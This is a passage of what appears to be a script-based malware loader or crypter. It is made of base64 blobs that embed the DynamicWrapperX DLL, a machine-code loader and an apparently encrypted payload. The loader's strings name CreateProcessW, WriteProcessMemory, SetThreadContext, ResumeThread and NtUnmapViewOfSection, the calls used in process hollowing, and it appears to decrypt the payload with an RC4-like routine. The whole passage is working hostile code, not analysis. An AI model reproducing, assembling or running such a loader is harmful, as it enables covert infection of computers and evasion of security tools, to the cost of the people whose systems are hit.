  398. "ABDQFQAQ/EYAEEEAJXMlcwAAAAAAAAAAAAAAAAAAAAAk9BJAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  399.  
  400. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  401.  
  402. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  403.  
  404. "AAAAAAAAAAAAAAAANXX4SElBMDQAAAEAEAAAABgAAIAAAAAANXX4SAAAAAAAAAEAAQAAADAA" & _
  405.  
  406. "AIAAAAAANXX4SAAAAAAAAAEAGQQAAEgAAABYUAAAQAMAAAAAAAAAAAAAQAM0AAAAVgBTAF8A" & _
  407.  
  408. "VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAAAA" & _
  409.  
  410. "AAAAAAAABAAAAAIAAAAAAAAAAAAAAAAAAACeAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkA" & _
  411.  
  412. "bgBmAG8AAAB6AgAAAQAwADQAMAA5ADAANABFADQAAACGADcAAQBDAG8AbQBtAGUAbgB0AHMA" & _
  413.  
  414. "AABBAGwAbABvAHcAcwAgAGYAbwByACAARABMAEwAIABmAHUAbgBjAHQAaQBvAG4AIABjAGEA" & _
  415.  
  416. "bABsAHMAIABpAG4AIABKAFMAYwByAGkAcAB0ACAAYQBuAGQAIABWAEIAUwBjAHIAaQBwAHQA" & _
  417.  
  418. "LgAAAAAAIgABAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAAAAAAAAVgAXAAEARgBpAGwA" & _
  419.  
  420. "ZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAEQAeQBuAGEAbQBpAGMAVwByAGEAcABwAGUA" & _
  421.  
  422. "cgBYACAAbwBiAGoAZQBjAHQAAAAAACoABQABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAA" & _
  423.  
  424. "MQAuADAAMAAAAAAAMgAJAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABkAHkAbgB3AHIA" & _
  425.  
  426. "YQBwAHgAAAAAAEoAEwABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAAKkAIABZAHUA" & _
  427.  
  428. "cgBpACAAUABvAHAAbwB2ACwAIAAyADAAMAA4AAAAAABCAA0AAQBPAHIAaQBnAGkAbgBhAGwA" & _
  429.  
  430. "RgBpAGwAZQBuAGEAbQBlAAAAZAB5AG4AdwByAGEAcAB4AC4AZABsAGwAAAAAAEAAEAABAFAA" & _
  431.  
  432. "cgBvAGQAdQBjAHQATgBhAG0AZQAAAAAARAB5AG4AYQBtAGkAYwBXAHIAYQBwAHAAZQByAFgA" & _
  433.  
  434. "AAAuAAUAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAwAAAAAABEAAAA" & _
  435.  
  436. "AQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8A" & _
  437.  
  438. "bgAAAAAACQTkBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  439.  
  440. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  441.  
  442. "AAAAAAAA/yXoYAAQ/yXsYAAQ/yXwYAAQ/yX0YAAQ/yX4YAAQ/yX8YAAQ/yUAYQAQ/yUEYQAQ" & _
  443.  
  444. "/yUIYQAQ/yUMYQAQ/yUQYQAQ/yUUYQAQ/yUYYQAQ/yUcYQAQ/yUkYQAQ/yUoYQAQ/yUsYQAQ" & _
  445.  
  446. "/yUwYQAQ/yU4YQAQ/yVAYQAQ/yVEYQAQ/yVIYQAQUGEAAAAAAAAAAAAAuGEAAOhgAACMYQAA" & _
  447.  
  448. "AAAAAAAAAADSYgAAJGEAAKBhAAAAAAAAAAAAAAhjAAA4YQAAqGEAAAAAAAAAAAAAIGMAAEBh" & _
  449.  
  450. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAMVhAADiYQAA8mEAAARiAAAaYgAALGIAADpiAABIYgAA" & _
  451.  
  452. "YGIAAHhiAACGYgAAlmIAAKxiAADCYgAAAAAAAN1iAADoYgAA8mIAAP5iAAAAAAAAEmMAAAAA" & _
  453.  
  454. "AAAtYwAAPmMAAE5jAAAAAAAAxWEAAOJhAADyYQAABGIAABpiAAAsYgAAOmIAAEhiAABgYgAA" & _
  455.  
  456. "eGIAAIZiAACWYgAArGIAAMJiAAAAAAAA3WIAAOhiAADyYgAA/mIAAAAAAAASYwAAAAAAAC1j" & _
  457.  
  458. "AAA+YwAATmMAAAAAAABLRVJORUwzMi5kbGwAhABEaXNhYmxlVGhyZWFkTGlicmFyeUNhbGxz" & _
  459.  
  460. "AAA6AkxvYWRMaWJyYXJ5QQAAkAFHZXRQcm9jQWRkcmVzcwAAbAFHZXRNb2R1bGVGaWxlTmFt" & _
  461.  
  462. "ZUEAAAIBR2V0Q29tbWFuZExpbmVBAOkARnJlZUxpYnJhcnkA4wFHbG9iYWxBbGxvYwAWAklu" & _
  463.  
  464. "dGVybG9ja2VkSW5jcmVtZW50AAASAkludGVybG9ja2VkRGVjcmVtZW50AADqAUdsb2JhbEZy" & _
  465.  
  466. "ZWUAAD0CTG9hZExpYnJhcnlXAAB3A1dpZGVDaGFyVG9NdWx0aUJ5dGUAXQJNdWx0aUJ5dGVU" & _
  467.  
  468. "b1dpZGVDaGFyALwCUnRsTW92ZU1lbW9yeQBtc3ZjcnQuZGxsAPgCc3ByaW50ZgAABANzdHJs" & _
  469.  
  470. "ZW4AACgCX3djc2ljbXAAACwDd2NzbGVuAABvbGUzMi5kbGwA1QBJc0VxdWFsR1VJRABPTEVB" & _
  471.  
  472. "VVQzMi5kbGwAWABTeXNBbGxvY1N0cmluZwBbAFN5c0ZyZWVTdHJpbmcAWgBTeXNBbGxvY1N0" & _
  473.  
  474. "cmluZ0xlbgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  475.  
  476. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  477.  
  478. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  479.  
  480. "AAAAAAAAAAA1dfhIAAAAAFxwAAABAAAABQAAAAUAAABIcAAANHAAAChwAAAAAAEAAgADAAQA" & _
  481.  
  482. "AABpcAAAeXAAAItwAACWcAAAqHAAAB4QAABwEgAAUhIAADEQAADnEQAAZHlud3JhcHguZGxs" & _
  483.  
  484. "AERsbENhblVubG9hZE5vdwBEbGxHZXRDbGFzc09iamVjdABEbGxJbnN0YWxsAERsbFJlZ2lz" & _
  485.  
  486. "dGVyU2VydmVyAERsbFVucmVnaXN0ZXJTZXJ2ZXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  487.  
  488. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  489.  
  490. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  491.  
  492. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  493.  
  494. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  495.  
  496. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  497.  
  498. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAKgAAAAOMB8wJTA+MFMwYzBzMJEw" & _
  499.  
  500. "mzCgMKUwCTFNMVIxVzGGMZIxoTHaMfExAjISMhgyJDIqMl0yejKRMrwyzTIhMywzMzN0M4Mz" & _
  501.  
  502. "njOvMxg0PzS8NO829TYRN/03CjitOLU4wzjWODg5WjpgOmY6kzqbOqE6HTsiO0Q7ijvGOwY8" & _
  503.  
  504. "FTwkPDM8QjxRPGA8bzx+PJA8ojy0PMY82DzqPPw8IT0rPUQ9ACAAADQAAAAoMWIxoDHaMREy" & _
  505.  
  506. "VDL7NAE1GDWQNZY1iTaPNq82tza9NtY2JDcsNzI3SjcAAAAwAAAQAAAAKDAwMDgwRjAAQAAA" & _
  507.  
  508. "gAEAAOgw7DDwMPQw+DD8MAAxBDEIMQwxEDEUMRgx3DHgMeQx6DHsMfwxADIEMggyDDIcMiAy" & _
  509.  
  510. "JDIoMiwyPDJAMkQySDJMMlAyWDJcMmAyZDJoMmwyfDKAMoQyiDKMMpwyoDKkMqgyrDK8MsAy" & _
  511.  
  512. "xDLIMswy3DLgMuQy6DLsMvwyADMEMwgzDDM4M1gzeDN8M4AzhDOIM4wzlDOcM6AzpDOoM6wz" & _
  513.  
  514. "tDO8M8AzxDPIM8wz1DPcM+Az5DPoM+wz9DP8MwA0BDQINAw0FDQcNCA0JDQoNCw0NDQ8NEA0" & _
  515.  
  516. "RDRINEw0VDRcNGA0ZDRoNGw0dDR8NIA0hDSINIw0lDScNKA0pDSoNKw0tDTYNPg0GDUcNSA1" & _
  517.  
  518. "JDUoNSw1MDU0NTg1PDVANUQ1SDVMNVA1VDVYNVw1YDVkNWg1bDWkNcg11DXYNdw1ADYMNhA2" & _
  519.  
  520. "FDYYNjQ2QDZENkg2TDZ0NoA2hDaINow2rDa4Nrw2wDbENvw2CDcMNxA3FDdEN1A3VDdYN1w3" & _
  521.  
  522. "AAAAYAAANAAAAAIwCDAOMBQwGjAgMCYwLDAyMDgwPjBEMEowUDBWMFwwYjBoMG4wdDB6MIAw" & _
  523.  
  524. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  525.  
  526. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  527.  
  528. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  529.  
  530. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  531.  
  532. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  533.  
  534. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  535.  
  536. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
  537.  
  538.  
  539.  
  540. LOADER_DATA = _
  541.  
  542. "VYvsg8T4U1ZXi30Mi3UIjV38M8BVaP9QQABk/zBkiSDolwcAAIkDiwMFIAEAAFDoEAIAAFDo" & _
  543.  
  544. "LgIAAFDonAIAAIsTiYIcAQAAiwMFLAIAAFDo7wEAAFCLAwUcAgAAUIsD/5AcAQAAUOhwAgAA" & _
  545.  
  546. "ixOJgigCAACLAwU0AQAAUOjDAQAAUOjhAQAAUOhPAgAAixOJgjABAACLAwVIAQAAUOiiAQAA" & _
  547.  
  548. "UOjAAQAAUOguAgAAixOJgkQBAACLAwVgAQAAUOiBAQAAUOifAQAAUOgNAgAAixOJglwBAACL" & _
  549.  
  550. "AwV4AQAAUOhgAQAAUOh+AQAAUOjsAQAAixOJgnQBAACLAwWQAQAAUOg/AQAAUOhdAQAAUOjL" & _
  551.  
  552. "AQAAixOJgowBAACLAwWoAQAAUOgeAQAAUOg8AQAAUOiqAQAAixOJgqQBAACLAwW8AQAAUOj9" & _
  553.  
  554. "AAAAUOgbAQAAUOiJAQAAixOJgrgBAACLAwXQAQAAUOjcAAAAUOj6AAAAUOhoAQAAixOJgswB" & _
  555.  
  556. "AACLAwXkAQAAUOi7AAAAUOjZAAAAUOhHAQAAixOJguABAACLAwX0AQAAUOiaAAAAUOi4AAAA" & _
  557.  
  558. "UOgmAQAAixOJgvABAACLAwUMAgAAUOh5AAAAUOiXAAAAUOgFAQAAixOJgggCAACLA4PABIlF" & _
  559.  
  560. "+IsDBQ0BAABQiwOLgBgBAABQVv9V+IX/dRaLA/+QCAIAAFBoEFFAAFbo3AIAAOsLi0UQUFdW" & _
  561.  
  562. "6M8CAAAzwFpZWWSJEGgGUUAAw+l85f//6/hfXltZWV3CDAAAAAAAAFWL7GCLdQgx/zHA/KyE" & _
  563.  
  564. "wHQHwc8NAcfr9In4iUQkHGFdwgQAkGAxyWSLcTCLdgyLdhyLRgiLfiCLNoF/DDMAMgB174lE" & _
  565.  
  566. "JBxhw2CJxonXicg593cSdC7B+QJ4KfOlicGD4QPzpOsejXQx/I18OfzB+QJ4Ef3zpYnBg+ED" & _
  567.  
  568. "g8YDg8cD86T8iUQkHGHDjUAAVYvskuiz////XcOQVYvsYItsJCiLRTyLVCh4AeqLShiLWiAB" & _
  569.  
  570. "6+M0SYs0iwHuMf8xwPyshMB0B8HPDQHH6/Q7fCQsdeGLWiQB62aLDEuLWhwB64sEiwHoiUQk" & _
  571.  
  572. "HGFdwggAVYvsg8TcU1ZXi0UMi1UIiVX4g7ikAAAAAA+GlQAAAIuAoAAAAANF+IlF9Ot7i0X0" & _
  573.  
  574. "iwADRfiJRfCLRfSDwAiJReyLRfSLQASD6AiJRdwzwIlF4N9t3Ng1wFJAAOhU1///i9hLhdty" & _
  575.  
  576. "NUOLRexmizgPt/fB7gxmgef/Dw+3x4lF5IP+A3URi0XwA0XkiUXoi0Xoi1UQARCDRewCS3XM" & _
  577.  
  578. "i0X0i0AEA0X0iUX0i0X0gzgAD4d5////X15bi+VdwgwAAAAAAAAAQFWL7IPE7FNWV4vY6LgD" & _
  579.  
  580. "AACJReyJXfiLRfiLQDwDw4lF9GoEaAAQAACLRfSLQFBQagCLRez/kMwBAACJRfyLRfSLSFSL" & _
  581.  
  582. "04tF/OiP/v//i0X0ZotwBk5mhfZyRUYz/4tV+ItSPIvDA9CBwvgAAAAPt8/B4QONDIkD0YlV" & _
  583.  
  584. "8ItV8ItKEItV8ItSFAPQUotF8ItADANF/FroQ/7//0dm/851votF/F9eW4vlXcONQABVi+yD" & _
  585.  
  586. "xPhTi9joDgMAAIlF+GoEaAAQAABo0AAAAGoAi0X4/5DMAQAAiQOLA4lF/IM7AHQS6wRAiUX8" & _
  587.  
  588. "i0X8i9CD4gOF0nXwi0X8W1lZXcOLwFWL7IPE2FPowAIAAIlF2DPbi0UIiUXsi0XsZoE4TVoP" & _
  589.  
  590. "hZ4CAACLReyLQDwDRQiJReiLReiBOFBFAAAPhYMCAABqBGgAEAAAahBqAItF2P+QzAEAAIlF" & _
  591.  
  592. "/GoEaAAQAABqRGoAi0XY/5DMAQAAiUX4i0X4xwBEAAAAi0X8UItF+FBqAGoAagRqAGoAagCL" & _
  593.  
  594. "RRBQi0UMUItF2P+QMAEAAIXAD4QfAgAAjUXw6AT///+JRfSDffQAD4T1AQAAi0X0xwAHAAEA" & _
  595.  
  596. "i0X0UItF/ItABFCLRdj/kHQBAACFwA+ElAEAAI1F3FBqBI1F5FCLRfSLgKQAAACDwAhQi0X8" & _
  597.  
  598. "iwBQi0XY/5BEAQAAi0Xoi0A0O0XkdWeLReiLQDRQi0X8iwBQi0XY/5AoAgAAhcB1KWpAaAAw" & _
  599.  
  600. "AACLReiLQFBQi0Xoi0A0UItF/IsAUItF2P+QuAEAAIlF4OtLakBoADAAAItF6ItAUFBqAItF" & _
  601.  
  602. "/IsAUItF2P+QuAEAAIlF4OsnakBoADAAAItF6ItAUFCLReiLQDRQi0X8iwBQi0XY/5C4AQAA" & _
  603.  
  604. "iUXgg33gAA+EywAAAItFCOhV/f//iUUIi1Xoi1I0i0XgO9B0LyvCUItF6FCLRQhQ6HH8//+L" & _
  605.  
  606. "ReiLVeCJUDSLReyLQDwDRQi5+AAAAItV6Oji7///jUXcUItF6ItAUFCLRQhQi0XgUItF/IsA" & _
  607.  
  608. "UItF2P+QXAEAAI1F3FBqBI1F4FCLRfSLgKQAAACDwAhQi0X8iwBQi0XY/5BcAQAAi0Xoi0Ao" & _
  609.  
  610. "A0Xgi1X0iYKwAAAAi0X0UItF/ItABFCLRdj/kIwBAACLRfyLQARQi0XY/5CkAQAAi0X8i1gE" & _
  611.  
  612. "aACAAABqAItF8FCLRdj/kOABAABoAIAAAGoAi0X8UItF2P+Q4AEAAGgAgAAAagCLRfhQi0XY" & _
  613.  
  614. "/5DgAQAAi0XYgzgAdA1qAGr/i0XY/5DwAQAAi8Nbi+VdwgwA6AAAAABYg8AHw4vAAEQAAMgQ" & _
  615.  
  616. "AQBqAGoAU1ZXi1UQMcmJyEmJ1/KuSEgpyIlF8IXAD4TcAAAAuQABAACIyCwBiIQN7/7//+Lz" & _
  617.  
  618. "g2X0AINl/ACBffwAAQAAfUeLRfwx0vd18JIDRRAPtgCLTfwPtowN8P7//wHIA0X0Jf8AAACJ" & _
  619.  
  620. "RfSLdfyKhDXw/v//i330hoQ98P7//4iENfD+////RfzrsI2d8P7//zH/ifo5VQx2Y4uF7P7/" & _
  621.  
  622. "/0Al/wAAAImF7P7//4nYA4Xs/v//D7YAA4Xo/v//Jf8AAACJhej+//+J3gO17P7//4oGid8D" & _
  623.  
  624. "vej+//+GB4gGD7YOD7YHAcGB4f8AAACKhA3w/v//i3UIAdYwBkLrmF9eW8nCEADHqjzrZmyi" & _
  625.  
  626. "AAAAAABEAAAAAAAATG9hZExpYnJhcnlBAAAAAAAAAABDcmVhdGVQcm9jZXNzVwAAAAAAAFJl" & _
  627.  
  628. "YWRQcm9jZXNzTWVtb3J5AAAAAAAAAFdyaXRlUHJvY2Vzc01lbW9yeQAAAAAAAEdldFRocmVh" & _
  629.  
  630. "ZENvbnRleHQAAAAAAAAAAFNldFRocmVhZENvbnRleHQAAAAAAAAAAFJlc3VtZVRocmVhZAAA" & _
  631.  
  632. "AAAAAAAAVmlydHVhbEFsbG9jRXgAAAAAAABWaXJ0dWFsQWxsb2MAAAAAAAAAAFZpcnR1YWxG" & _
  633.  
  634. "cmVlAAAAAABUZXJtaW5hdGVQcm9jZXNzAAAAAAAAAABHZXRDb21tYW5kTGluZVcAbnRkbGwu" & _
  635.  
  636. "ZGxsAAAAAAAAAE50VW5tYXBWaWV3T2ZTZWN0aW9uAAAAAA=="
  637.  
  638.  
  639.  
  640. DIM FILE_DATA(6)
  641.  
  642. FILE_DATA (0) = "KgnqEpXJO/Id8WCMEClsRq+FMXsAdtyL3mY6poMgfUsDMvN+itEk4xUc/q+FLNj9QvS3UJZApTMBxiiMcQahzrnE+oUa7ZVD0VOmoNJ6/+uroMVh365o9si7dFBZsCJS6ZLPu1Ccs/uAqg1BDjSMdnSf6ruJ6dyk/fzrf9Q2p565YzWuxEtrRyib6FJnq9DEtyUFugJ3C11Vbt11IIuDdZPJZsbAoFsoOGo/sI77efDK3CoP4y58D6Ypz74yzmej4LvVb1jsfHR03xEAje8bfGXbulGznif6l0jS9B0AMi8XG4lY+E7+Z8q8Ce3apq6A2ARaK8NmUhwwt/CiSF9wQeg613QmBYzvXiPYhCRshF1l7SHywxFzjoR+PEL3P3RVrs7cQZ7l0khfoagLKp+Aek0Lfss6ToKaVzDLJgXP8O9R/Lwo3VC2meuR7ojG++VxnDD4qAcNBSE/3D/+fTkK5cqProV5AJh/gUKtwG0Ms8S2aH/JB6c0nVb9hUGOwmNOnK89XM3lPytYWWTAq2of9C1VHPdVcyxGwrkfF3baUZwFM7q/6NBXktsQ5zBW6bMGwII3uh1O+tomwwaYRL5YlhUpPnGSs1v83GxuvjCUptSXukvw9k8BoX/DNc6ygw2xZfoaISBBNaGD5HdXDdpmkbvpaGZPpOeyr6/NaXa82LtFSCqpt/SKZn0T14ghHeap6EkxsiSnJJY39vshi2Gj5VhDRs6/mj5tHzQxd4Q5UMN4v1h7VTsb8qBhpTWZzT+rr8owjUGJakeNGuZjzkNbpTLemgqo/41Gktl+KVBfpn4u9ssVM/EuBwq01cCmnStyDc5xmdhmRhvBWYJJOKKm5RYCNJj3EGtZQaIvFwcznQmie3A5rxJ1+35dzDkd6Yh/L0VfnS9+wkQP+KW7o0iWxVBLafYOGdJeZe5ciMiLUdVUkoAxrDGeaHPKqIGgRP8Phc1r/bEUHWm8nKta0rHvUnKJGneGpdwyAnPnbVXRpnshs8diyF2JXsJRiGEX6bHvRefSPIEFqFglDTLmBiIwkR/1wdzfnk7c30OIscAczyHOem+/N0jJnpH2ofLvFh9d2MQhYqSYp6ffk8DVEhR6TX1OEPVx7tUhX5QC3LiH9Vl0/Gt3WMk33riZVQ5J2kyi3bT+nbP+RXN28IySKXi0Rum9McV4yZmfk5dUlbf/29DbQMThwunGuXgUVqt+tTQ4zaQhyjoU5O4aFhv/kCDbeFnV40JzZwcbCMz3pam2yBvdhxOUTpGPiqvE2cO1wENiQtFGpBWV9EOBYJjGGCWEAr6bUlj9H03PLgkC+wT1qrGDZDENG2BzYJlSQEgrZOdtbnFDsfF1FU3JPJ1VqE9jnHdG1n0UQWXAvgdUAtbhJTAlOJfP3+YhGvktbGtSkccx1Dwkq75KRAwsz9Nj4UcreT38oybgPL7Zo1yvEQ1dj9i+2yuwXKtQ9/c6memdYcUzuA7gD+1MG0PqSZcveKIOyrvybRKF59Q/hB0WP+EvV1RmkTB0i6Bbclh5+2HToqoTefe+ZIIx+LLM82NAY40vX6x7Fxp3sc6XKkikpkkVg/Zj+adfJytrpervUDV1HgM3N8f/WD8zp2Hr/j2+sqvnS2UFtGF4FOTIi8GoSHE/GC1J+h96m9NJ832lbNX0/mMbOCc+FPXT97cAI9hLWOxnMkzNXdUXMHRG9KIvRPj2mhMcaVPsT2G+QYhys6Mspw7VV4YDRvuYeHci75vu/pEFon5n3YdXs24z+vAegOZIfu4viip/nAoad9jqf9joVTU0xVCb/2Es3tU0NdcIx77e4wWG2h0geZ2IrMXpG+OGe2I0QrFCVsI2gZJM1DgzDthEkoGC1wtD8ZRi6Q0pMrQsUUOt6sBxoDLmyPK1vitt+TL/Dn2wkCdxfXRCV0Uq4HjCJoZgaiOgY1Pv9ToutpfPDCLp/l1kGabnMBgUCwBTqFUlRjDb7hMm2OYHZy/zqtWNtoiHXIire0xbpZ4pBCeROnLU3lxjKmusF/9EuSrQk+nofOkEjp0b7Cb0Dmnjt09RdThYuZ4vqVxw7ynqONz2sJ6U8tYFltE8xH7R+VMkV82weaCZ1VDFsS6VbIE+UpzHZfX3u85uOB7QucQ7ABfUy27FnqMW3hp1oVCuvbSv5M896aqkdYpUogXfI9IccbBzI2dIOImuSzj3Fbn9U4thCAarz8uY0PKczXFpvKkAlr2Mk0xpH5NXIL6jotl7dXfRiQDV9u2bFIOuHN5WdfNLitRc6EA+Wai/BwbIunQNbCb8Sb5JY+ksoTCP6DRtxhy/3dgvxSiGOhm22AFsCtzVdcDPOhIUXekWfiTPzq03YAuHOJsGAszRUv7e8LEHfE6Vh4lp6JoxSmOSo3nyEPZXjvCOqs3Jq3zTkV77GbFxM3IjDV8DGho/fIxz5ftVEE+RKHH+rRG82vPFN6V0puQ+nhlvA6tVahivGNZp9sh/9a01uHrIQT69lejc1ZpxSZdc4bR0rscMKLk4gELKZ6XAyu17FR27Y4BR+vfxLLVIQUi9AkVgw2FttvG+sI1yNP7h9wQeoM46aUOoSIspRSG6UZ56+gRTN38vVzozlQO4L0ov3guDGdNnFo2LXl4gO65ziL9hTKP+OadHiHToTCIsm+QfSafDu0RxgdS6vnKWTwHaxdFYeHNNjDcQjoguYGDPfauPWtBh8DZST3Z1R9ek2nN7HGK9PQVLC1Y0G7lqvOgj9JRkOUAdGdxWAuHVfltQ3HYIEJm6XqXYqLptV2wzHcPWFZa4td5D+jhnqIWDYfoMrQpiqTnMnOlhJg58fB5Ti/ppFlu0Ygxi/QR+STv9w1zhWHkMO7xfSMsI73u88wkUnYZoPC03vxWstimrysLhhY5qxf6J1p41k++cZqWKgAH6wtRq6bfwJHQX/ZR+oh5IsFrLBFRx8GL1Su9e+eBLo6Gv24i8wLc4AdKPNvIDAo3Cd+215O+8nb1djlGv4A5aw+snjzcnkVODY1+ubO4eyw5c5bJIRT+hhUahXjZovD3SUlKlHba41txG+8bhMJReo8BXAAWgl6SDvIcE+eaPzEKLnbZfMKBKLGJ8+W/d1Z2ud6FLThH2Tsq5lWLPe60Gcf+zEQM1Y7OJH8LDy05jo4HUYigvhP/z69RTfL6Rz8A2MvMUNLTdnR+PYQf98M492dXT45ZziXhyz7r72EcHCdq7061GdvnLMjPf7OZ2XkWLudCAit7/weduOoMPDQnGB2IVjhLizHKRSAVG1g4knELWuBVi9VHm6umt/G7pFpjajwlEywAM0WEvnqjNe7S0v30tAUWE8fyAQ+LSKnp7vjj2xy2+4m99YWD0pWj9ggNj9JMhu/q66rQzm8UtUr+SP7UjBZTwioMZ4FmRViDKU1OuHD0D3+bWqGq/lL35UtsdyGQ2v//Y9mKCDH3o2ZTNnKqHGELUtlNZ9JbGtVkAP6D/TUuCV2L5yttgY+tsYamSzwmn30eYuR2woq41O/v41QRpXOHbpVbGXNfIhopKlcc4rXwcuPbSTt/z89z3FPwVIMaI6s4j5/82Pufl80w7tJ1Jm4ANV5nJ6YtOOXOa85dVHjUNfhBHsjacHEVn4KlZeM0agCQTm0Q/d9D0OGswcaKahTMJwvY5pCSsr2eVCI9uyS9JEx8OvVEFUoc/Zp6j7ByIzQOd/WJEAHeU1e/kUShmREHo2htdLV8i5fQPPwq46r1cig6rnIQOMbdmXH2f6PjJTFiVPY07+XUW2NQetpTswA2p4TUqVp20ife43SQ9DNR4lwbm7xuUMQmGv4sxDSF/YlZEb7ftyhEPJIpM4Y6vgXT8yV2RxXGNDszHsEY+u30hOEch1rL//WfUDUVwQmzkWX6p+xYWsdkafC1C7MQgfvX8yo09AqcVRzWr5ObXjr9X2BR/9ba26iCwrF8BavYT5uyvB7DjROlh3aMU4sVsORKpr+h6RtS+dgmpXkbaIl058L4FlKS8Xo08krAQTVwnx/RApBxRN6Oj6XPR88517HI6r8i0CzGYHovPBeV+LongKd35GgUw1brUpBHuTh0QTsAdlrjQKvYluKlOA96P9mWTV9APfTJ/2yPKPo+1maJmnS9xr0Vr/6/uW/QKMjfbCBmOuF2VcJJ1wvbbR5MGIU2wQLfc60OUjURko3qV10Bx74V9Vp50GhGib17xGdhhDNXFo5pjqShjYyUDsYh/oF9RvB3P6uVAggTjo+JRJNjnTQRKoJwbDrHzg0ll4UavISlOkWl+s1ViIU47YWhx1aPJYnQgRCpmWx061j2OMtwcYc9ZuOsaDJTRGxaiGpM9S87f/BUaF/5NZgEWVghVpQ0BsN7eipY3ubomNzeG1FE2UgWYJ67sZofqZ8eswNO69Qyz58pxBkLgbavjLkHvqCL6CBS5twpXqGwze4Y2eT6kYu7O3kcTpyeMtRDB+M/ozYtOv2JNailsakOzBfl9LFhDyXlLyGLes/AoXbZbZzabc6Nr+N535rJageJBBNMKkeMc20ZZtVFYXvhrp804DDkuiPRbgHqYAofGBEp49rKJAYvNQO/JYdkR9vHaT+4t/cz8Hpi4QVGhdNqKVbCa9bWZHOFRZy6cIptjKTT9kkIxakt08ED5Dz71CPDWJjtUTBoWUTXMl0eF5bBHapJWWz/vXGUJTjqiTF0cb5KNCwhXveWiOf8ODHMem4JcTWYwHmOjBAZWBYSi9d8MEWHR+TbMWJrHf2rLGMEeJ6WxLo2idSgd5INwyMEeCoFQOKNL9KVjm7ccU8Z6VkSyDk5se/ONEcPxRv/0WTQNRSP47zSx1mqn61IqWTo+e18GdCh6BPxugBPhdEwu6t9Q5pvE5HlftWUkHkGDz4D4PY2YS9ldJHTvHhhuvOMIcI/0cBsWMHdW+yANS8fyDKo4stVOh2Shprc9pBi6O39H6/dW4eQzCAtQiS38EVfYMtUCQtEfN0z9quAZxLECbb0QPr55/DDOr4hzkK673GimfD7++WKid3KCIjQFU2z7XpCdaFYtWxQcJ5YTAYpZRm5llnzHPWBxWAiLPpHf/aX8/nYtNEdL+7xfsiHVchAeutmQJkt6cfJ6zVCmkjK+L9gViCKPn9TOYpHSO9XictiOQZIUVe/3siKHaDtx0DI3yCtOa9XUiekfxrfXdFHuV0bc61B0IhC0VyK2LlwuOGDUVJwkAKwF3ShTEBUR8DSoD2hLFmPKjKKWToNRpMWGo4Atx4dFU8G758xzr0rXaf9+oALhvbFGGxjqFUeAfWm8ey/dxoBfe5/tX6ndUZBhctBsz45pTQ6+9ylc1zit2fRrmVGfaoxRVE4AIw8w3zwl1WDbRW8RDSlpCxt+HY1r0CXn+EX/XmskysxuDqVjloBR6CU/TbYkz+yzS83BZxWUA3+lCOedBhfulsU6Dn0nwAExd5fhp5lZf/O9aosMV4WQJW+FBcvqYkIodj/IqSGsmA=="
  643.  
